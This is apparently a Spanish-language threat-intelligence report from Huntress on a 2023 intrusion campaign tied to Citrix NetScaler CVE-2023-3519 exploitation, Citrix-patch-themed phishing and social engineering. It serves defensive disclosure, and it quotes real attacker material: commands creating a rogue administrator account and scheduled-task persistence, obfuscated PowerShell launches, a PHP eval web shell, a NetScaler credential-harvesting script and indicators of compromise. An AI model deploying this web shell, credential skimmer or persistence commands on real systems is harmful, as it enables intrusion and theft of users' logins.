El siguiente análisis y resumen se debe a Matthew Brennan, Harlan Carvey, Anthony Smith, Craig Sweeney y Joe Slowik.
Antecedentes
Huntress realiza periódicamente revisiones de incidentes identificados para analizar patrones, y utiliza fuentes de inteligencia abiertas y cerradas para realizar operaciones de caza de amenazas. A veces, la combinación de estas actividades—revisar lo que ya remediamos y lo que aprendemos de fuentes externas—revela una coincidencia en las operaciones de los adversarios contra los socios y clientes de Huntress.
Uno de esos casos ocurrió a mediados de septiembre de 2023, cuando el análisis de varias intrusiones recientes reveló un patrón más amplio.
Un examen más detallado identificó un vínculo con información de inteligencia de amenazas disponible públicamente, lo que reveló puntos en común en una campaña que abarcó varias organizaciones. Si bien se desconoce el impacto de estas intrusiones, ya que la actividad se identificó y detuvo antes de que se conocieran las intenciones del adversario, el Tradecraft identificado coincide con varias tendencias observadas actualmente en el panorama de información: binarios de uso legítimo del sistema (LOLBins) y comportamientos asociados, énfasis en la evasión y la ofuscación, e incluso el uso de medios no convencionales para inducir al personal de la víctima a interactuar con recursos maliciosos.
Señales iniciales de intrusión
Huntress realiza caza de amenazas periódica en los endpoints monitoreados en busca de señales de actividad maliciosa (o sospechosa) que no se hayan identificado previamente mediante las detecciones existentes. Durante esta actividad, los investigadores de Huntress identificaron relaciones de procesos inusuales en varios entornos monitoreados:
Las actividades de reconocimiento y exploración reflejan Tradecraft común de los adversarios: ejecutar comandos integrados como whoami.exe, tasklist con varios indicadores, ipconfig y ping. Por lo general, es difícil distinguir estos elementos como potencialmente maliciosos dado su uso común y benigno por parte de los administradores de sistemas. Sin embargo, cuando se ejecutan a través del proceso de actualización automática de Windows, wuauclt.exe, esta actividad se vuelve muy extraña e indica, como mínimo, actividad inusual dentro del entorno monitoreado.
Una vez que dicha actividad fue más allá de los comandos de exploración del sistema para pasar a la ejecución de procesos posteriores y la actividad de persistencia, quedó claro rápidamente que las acciones representaban a un actor de amenazas estableciéndose dentro de la red de la víctima. Algunos comandos de ejemplo incluyen los siguientes:
net user DefaultService AiRPcp47_r00t /add /fullname:"DefaultService" /comment:"DefaultService"net localgroup "Administrators" DefaultService /add"C:\Windows\system32\rundll32.exe" c:\perflogs\ch.dll,Start"C:\Windows\system32\schtasks.exe" /create /sc onstart /tn \Microsoft\Windows\SpacePort\SpaceAgentTaskMgrSHR /tr "c:\windows\ADFS\dllhost.exe 5ba2c0f4d58d7e124ba23ae4cb3822ecb7990eea" /ru SYSTEM"C:\Windows\system32\msiexec.exe" /i c:\perflogs\act.msi /qn
Lo anterior muestra a un adversario trabajando para establecerse dentro del entorno de la víctima mediante la creación de cuentas privilegiadas controladas por el adversario y la creación de una tarea programada como mecanismo de persistencia. En algunos entornos, lo anterior se combinó con actividad anómala de PowerShell como la siguiente:
wmic /node:[redacted] process call create \"cmd /c powershell.exe -nop -ep bypass -c c:\\windows\\temp\\esd.ps1 622ddc28910eb5482c0ed8b01b10270a20c25206-fbf201cb-s\"
Cuando se identificaron, los scripts de PowerShell generalmente estaban muy ofuscados, como en el siguiente ejemplo:
En este caso específico, el script de PowerShell utiliza una combinación de codificación Base64 y XOR para ocultar un payload DLL, que a su vez intenta decodificar y ejecutar otro payload usando una clave RC4 proporcionada como parámetro al script original. Este elemento está diseñado para cargar contenido adicional desde una ubicación alojada remotamente: hxxps://91.236.230[.]111/1/18150e98
Esta dirección IP es administrada por BlueVPS en el ASN 62005, un detalle que pronto cobrará importancia.
En general, Huntress identificó evidencia de compromiso basada en múltiples ejemplos de los comandos y comportamientos anteriores. Sin embargo, en el momento del descubrimiento inicial, no estaba claro si esta actividad se alineaba con alguna actividad de amenaza conocida o acciones históricas.
Estableciendo conexiones
Como con muchas cosas en la vida, las posibles soluciones al problema del contexto surgieron a través de los motores de búsqueda. Mediante investigación de código abierto, los analistas de Huntress identificaron las siguientes publicaciones en redes sociales de investigadores de Sophos:
Si bien no es una coincidencia exacta con la actividad observada por Huntress, varios elementos sí coincidieron:
- Uso de wuauclt.exe, probablemente mediante inyección de código, para la ejecución de procesos posteriores a la intrusión.
- Uso de scripts de PowerShell ofuscados con argumentos no estándar y distintivos pasados en el momento de la ejecución.
- Conectividad remota a recursos alojados en infraestructura de BlueVPS.
- El uso de Citrix Netscaler en algunos (pero no todos) de los entornos monitoreados por Huntress.
El cuarto elemento anterior llamó nuestra atención como un posible vector de acceso inicial: concretamente, la explotación de CVE-2023-3519, un elemento de atención reciente en una alerta emitida por CISA.
Varias víctimas identificadas tenían equipos Netscaler vulnerables en funcionamiento al momento del acceso inicial. A partir de la información de la intrusión, Huntress identificó dos elementos de web shell. Primero, el siguiente one-liner en /vpn/themes/imgs/Ctxheaderlogon.php:
<?php @eval(base64_decode($_POST['JohnCoffey2023!']));?>
Segundo, un script simple de captura de credenciales almacenado en /vpn/themes/imgs/netscaler.php:
$date = date("d/m/y : H:i :")$username= $_POST['u']$password= $_POST['p']$password2= $_POST['p2']if ($username="undefined"){$username = urldecode($username)$password = urldecode($password)file_put_contents("netscaler.1" , "Username:".$username.PHP_EOL ,FILE_APPEND)file_put_contents("netscaler.1" , "Password:".$password.PHP_EOL ,FILE_APPEND)file_put_contents('netscaler.1', "Date:".$date.$data.PHP_EOL, FILE_APPEND)file_put_contents("netscaler.1" , "PIN:".$password2.PHP_EOL ,FILE_APPEND)file_put_contents("netscaler.1" , "-----------------------------------------------------".PHP_EOL ,FILE_APPEND)
El script envía la información de inicio de sesión recopilada a un archivo en el mismo directorio llamado netscaler.1. Con acceso persistente, el actor de amenazas puede recopilar y exfiltrar continuamente las credenciales de inicio de sesión de los usuarios para habilitar rutas alternativas hacia las redes de las víctimas.
Si bien la explotación puede definir muchas de estas posibles intrusiones, existieron dos claros casos atípicos para la actividad de acceso inicial. El primer caso atípico parece comenzar con un usuario que visita o es dirigido al siguiente recurso: hXXp://[redacted].z9x[.]org/?citfixrosie
El enlace anterior redirige a un repositorio de OneDrive con un único archivo zip protegido con contraseña:
Esta metodología—dirigir a un usuario a una descarga de un archivo zip protegido con contraseña—sugiere algún tipo de actividad de phishing, donde el enlace malicioso al objeto se proporciona junto con la contraseña dentro del mismo canal de comunicación. Esto parece confirmarse al revisar el contenido del archivo, que incluye un objeto LNK y un directorio con una DLL y un EXE legítimo:
Más interesante aún, una revisión de la información de EDR de Huntress indica la ejecución de ADExplorer64.exe, probablemente una versión de la herramienta Sysinternals AD Explorer para recopilar información de Active Directory, con un linaje de procesos que sugiere interacción del usuario a través de un objeto LNK. La ejecución se combina con el uso del comando MSG de Windows, con contenido (en neerlandés) que comunica la aplicación exitosa de un “parche” de Citrix:
El patrón del archivo zip protegido con contraseña hacia el objeto LNK se alinea muy de cerca con las tendencias actuales en actividad de phishing tras la deshabilitación programática de macros en documentos de Microsoft Office. Aunque Huntress no ha podido recuperar el medio por el cual se dirigió al usuario hacia el recurso remoto y el archivo zip, la combinación del contenido del mensaje y las convenciones de nomenclatura de los archivos (por ejemplo, CITFIX#29) indican fuertemente phishing con temática de parches de Citrix para lograr la interacción y ejecución por parte del usuario.
Los analistas de Huntress pudieron recuperar el version.dll de la máquina de la víctima. Según el contenido del archivo LNK y la telemetría capturada, ADExplorer64 (legítimo) se ejecuta con parámetros especiales junto con la DLL maliciosa en el mismo directorio: ADExplorer64.exe 16DF573D-988D-4F48-9BAE-66FB6A32F821 F821
Dada la información disponible, el comportamiento observado representa intentos de secuestro del orden de búsqueda de DLL o de sideloading, como se observa en ejemplos que van desde la instalación de la puerta trasera FoggyWeb del actor de amenazas respaldado por un Estado Nobelium hasta el abuso de ejecutables firmados de Microsoft para instalar Brute Ratel. En este caso específico, ADExplorer64 inicia el proceso Monitor de recursos de Microsoft (resmon.exe), que a su vez genera un proceso de actualización automática de Windows (wuauclt.exe) que presenta el comportamiento anómalo descrito anteriormente.
Además de los elementos relacionados con Citrix y este vector no relacionado con la explotación, Huntress también se comunicó con un socio afectado por la actividad descrita anteriormente, quien identificó un vector de intrusión completamente diferente. En este caso, un miembro del personal de TI de la víctima fue contactado directamente por el actor de amenazas y, mediante ingeniería social, fue inducido a acceder y ejecutar un payload que condujo a la infección inicial. Dadas las recientes noticias sobre mecanismos de ingeniería social no tradicionales para el acceso inicial a la red, como se vio en el caso de ransomware de MGM, la actividad descrita es preocupante y representativa de nuevas tendencias en la actividad de los adversarios para comprometer a las organizaciones víctimas.
Afortunadamente, como se señaló anteriormente en esta discusión, Huntress no ha podido determinar el objetivo final de estas intrusiones, ya que se identificaron y mitigaron antes de que los adversarios pudieran actuar sobre sus objetivos finales. Sin embargo, a la luz de la epidemia continua y preocupante de ransomware y la monetización similar del delito informático, las acciones anteriores reflejan preocupantes tendencias en actividad de intrusión.
Convergiendo en el Tradecraft
Notablemente, en los elementos identificados anteriormente se repiten “temas” comunes:
- Probable abuso e inyección de código en el ejecutable de actualizaciones automáticas de Windows para la ejecución de procesos posteriores y el logro de persistencia.
- Relaciones temáticas con, si no la explotación directa de, una vulnerabilidad preocupante en un dispositivo de red orientado al exterior.
- Dependencia de la ofuscación y de convenciones de llamada que indican, como mínimo, lecciones aprendidas compartidas, si no la identificación de un único actor unitario.
Con base en algunas de estas observaciones, podría haber vínculos con la actividad de agosto de 2023 identificada en los comentarios de redes sociales de Sophos. Pero una revisión más profunda, como la observación del zip al objeto LNK, indica un Tradecraft diferente (aunque con temas similares) respecto a esta observación. Aunque las acciones posteriores parecen similares, las diferencias en las observaciones y el paso del tiempo significan que Huntress no puede vincular concluyentemente la actividad de agosto con lo que observamos en septiembre, pero sí podemos afirmar con certeza que estas acciones “riman”.
En esencia, en un ecosistema donde los defensores trabajan continuamente para desventajar y detectar a los adversarios, y el espacio para la acción adversaria inevitablemente se reduce (salvo descubrimientos revolucionarios en acción ofensiva), deberíamos anticipar una convergencia en ciertos elementos de Tradecraft con el tiempo. El abuso del ejecutable de actualización automática de Windows y los mecanismos de ofuscación comunes representan, por lo tanto, Tradecraft potencialmente compartido por múltiples entidades, pero utilizado porque permite evadir las herramientas de seguridad y la visibilidad.
Lamentablemente, estas tendencias dificultan la labor de los analistas de inteligencia de amenazas, ya que los adversarios convergen en torno a Tradecraft y acciones cada vez más estandarizados—un énfasis en LOLBins, abuso de herramientas RMM y toma de control de una cuenta legítima. Sin embargo, desde la perspectiva de un defensor, esta convergencia ofrece oportunidades, ya que los adversarios están colocando la mayoría (si no todos) de sus proverbiales “huevos” en unas pocas canastas conocidas. Mediante el esfuerzo continuo por mejorar la visibilidad, mapear nuestros entornos y perfilar el uso legítimo de ciertas herramientas y técnicas abusadas por los actores de amenazas, podemos cambiar el rumbo e identificar cuándo dichas entidades pretenden hacernos daño a nosotros y a nuestras redes.
Indicadores de compromiso
- Indicador: 5ee3e274a79f6ad79bb43ff193c03fb38f82396dd0a70fb2597ab78497b1a5c2
- Nombre: shr.ps1
- Descripción: Script de PowerShell ofuscado, probablemente para inyección de procesos.
- Indicador: 3c1829079eecd453e28ec3f111a4f98aa05d338787955b33b0c9932aada2c370
- Nombre: N/A
- Descripción: DLL incrustada en el script shr.ps1.
- Indicador: 3742b9cb7a7e664dbeb4f3b7d350a22bbd008f7698db8679a0764b7bab983025
- Nombre: N/A
- Descripción: DLL incrustada en el script shr.ps1.
- Indicador: 91.236.230[.]111
- Nombre: N/A
- Descripción: Recurso remoto que aloja contenido de siguiente etapa para actividad de compromiso.
- Indicador: edd464cd0069324d9b3437126e2c95b903c274ecbb5068b9058d07f0d946ed2c
- Nombre: ch.dll
- Descripción: DLL de carga para lograr persistencia.
- Indicador: baf385c3f35a48509114cc39623da8834d37b7afd12ab00b1c3c9d695effca6f
- Nombre: dllhost.exe
- Descripción: Herramienta Contig.exe de Sysinternals renombrada.
- Indicador: f4dbed01049e169189867713d33c24a4f07954f1c1fdd3bce08afb5aeed38804
- Nombre: SpaceAgentTaskMgrLLD
- Descripción: Elemento de persistencia “Space Agent” creado como tarea programada.
- Indicador: cbd2567b61c7be8b92dcd1c5970d7a0a74c59b5d75be889c0a58e18746e7dff6
- Nombre: sqlsrvwr.exe
- Descripción: DLL de carga para el mecanismo de persistencia “Space Agent”.
- Indicador: z9x[.]org
- Nombre: N/A
- Descripción: Dominio de nivel superior que redirige a almacenamiento de archivos malicioso.
- Indicador: 3ac2d170eeefd5d866ca2285da2a7387c544250d6978bab621c2a80b95946712
- Nombre: citfix29.zip
- Descripción: Archivo zip protegido con contraseña que contiene un LNK y otros objetos.
- Indicador: 06de42d666b3ae548719778445162ddebaa5267b96ceaf5b8c38ed78ead8a148
- Nombre: version.dll
- Descripción: DLL maliciosa cargada mediante sideloading por un binario legítimo.
- Indicador: bbdd3620a67aedec4b9a68b2c9cc880b6631215e129816aea19902a6f4bc6f41
- Nombre: sh1.exe
- Descripción: Variante de Sharpshares.
- Indicador: faf37bcbbcaff2de3e4b794bb9eed9e47505cdbed3a35b83ce9a216298779c62
- Nombre: ctxheaderlogin.php
- Descripción: Componente de web shell
- Indicador: 886f3add934cb8e348dcfac78d9e0e50d6d760d065352bc8026529a6bb233279
- Nombre: netscaler.php
- Descripción: Componente de web shell para la recolección de credenciales.
Comandos de shell de interés
Los siguientes ejemplos capturan operaciones del adversario utilizando comandos integrados del sistema, redirección y mecanismos similares para la ejecución de procesos, el control de flujo y otras actividades en los endpoints monitoreados.
powershell.exe -nop -noni -ep bypass -c $c=$env:c; Sleep 2; Invoke-Expression $c
cmd.exe /s /k pushd "C:\ProgramData"
c:\ProgramData\sh1.exe /ldap:all
powershell.exe -nop -ep bypass -c c:\\windows\\temp\\[three-character name].ps1 [likely RC4 key string]
Si bien lo anterior tiene cierta coincidencia con actividad legítima de administradores y actividad programática, identificar el contexto en el que se ejecutan estos elementos—como procesos padre anómalos o ubicaciones de almacenamiento inusuales—puede permitir a los defensores diferenciar entre ejemplos benignos y maliciosos de dicha ejecución.